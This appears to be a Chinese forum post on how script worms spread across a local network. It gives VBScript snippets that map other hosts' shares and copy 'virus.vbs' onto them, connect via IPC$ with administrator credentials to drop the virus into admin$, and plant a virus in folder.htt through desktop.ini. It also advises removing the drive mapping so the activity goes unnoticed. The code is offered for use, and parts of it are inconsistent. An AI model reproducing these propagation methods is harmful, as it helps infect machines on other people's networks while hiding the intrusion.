我近日在网络上看到了一些关于局域网脚本蠕虫的传播方式的一些讨论,这里提供一些思路。
1. 利用WSH里的MapNetworkDrive方法。该方法是将网络驱动器映射到本地。
MapNetworkDrive方法:
object.MapNetworkDrive(strLocalName, strRemoteName, [bUpdateProfile], [strUser], [strPassWord])
参数
object
WshNetwork 对象。
strLocalName
表示映射驱动器的本地名的字符串值。
strRemoteName
表示共享的 UNC 名称 (\\xxx\yyy) 的字符串值。
bUpdateProfile
可选。表示映射信息是否存储在当前的用户配置文件中的布尔值。假如提供的 bUpdateProfile 的值为 true,则该映射存储在用户的配置文件中(默认值为 false)。
strUser
可选。表示用户名的字符串值。假如使用当前用户以外的其他用户的凭据来映射网络驱动器,则必须提供该参数。
strPassword
可选。表示用户密码的字符串值。假如使用当前用户以外的其他用户的凭据来映射网络驱动器,则必须提供该参数。
说明
尝试映射非共享的网络驱动器时将产生错误。
主要原理是:得到本机的LAN地址后(一般为192.168.*.*)将其他主机的共享目录映射为本地的驱动器(如Z:),然后将病毒复制到映射的本地驱动器Z:,这样就把病毒复制到其他主机的目录去了。最后,还要使用RemoveNetworkDrive方法删除映射,以免被发现。
RemoveNetworkDrive方法:
object.RemoveNetworkDrive(strName, [bForce], [bUpdateProfile])
参数
object
WshNetwork 对象。
strName
表示要删除的映射驱动器名的字符串值。strName 参数可以是本地名称,也可以是远程名称,这取决于驱动器的映射方法。
bForce
可选。表示是否强制删除映射驱动器的布尔值。假如提供的 bForce 的值为 true,则无论该资源是否正在使用,该方法都删除这些连接。
bUpdateProfile
可选。表示是否从用户的配置文件中删除映射的字符串值。假如提供 bUpdateProfile 且其值为 true,则从用户配置文件中删除该映射。bUpdateProfile 的默认值为 false。
说明
假如在本地名称(驱动器名)和远程名称(UNC 名称)之间存在映射关系,则 strName 必须设置为本地名称。如网络路径中不存在本地名称(驱动器字母)映射,则 strName 必须设为远程名称。
我这里给一段VBS的示例代码:
Set myfso= CreateObject("Scripting.FileSystemObject")
Set WshNetwork = WScript.CreateObject("WScript.Network")
WshNetwork.MapNetworkDrive "I:", "\\" & unc
fso.copyfile "c:\virus.vbs " ,"I:\virus.vbs.txt"
WshNetwork.RemoveNetworkDrive "I:"
2. 利用IPC$进行连接。这种方式估计玩HACK的朋友比较熟悉啦!原理就是利用WSCRIPT.SHELL来执行。具体可以参考各种IPC$攻击傻瓜教程,这里仅提供一段代码:
Set objshell=wscript.createobject("wscript.shell")
Dim st,sc
st="net use \\" & "192.168.0.1 \IPC$ "& pass &" /" & "administrator"
objshell.run st
sc="copy c:\virus.vbs \\192.168.0.1\admin$"
objshell.run sc
3. 就是像“新欢乐时光”病毒一样的利用FOLDER.HTT的被动式进行传播。
Desktop.ini: 活动桌面的配置文件
Desktop.ini定义了它所在的文件夹在桌面上或者在资源治理器中的显示风格以及文件夹的某些属性。
要害:WebViewTemplate.NT5=file://Folder.htt
就是修改desktop.ini使其指向同目录下的folder.htt,当以WEB视图打开文件夹时,就会按照desktop.ini里面的设置执行folder.htt。这样我们就可以把病毒写入folder.htt,
使之不断复制。
具体参见其他有关新欢乐时光的病毒分析。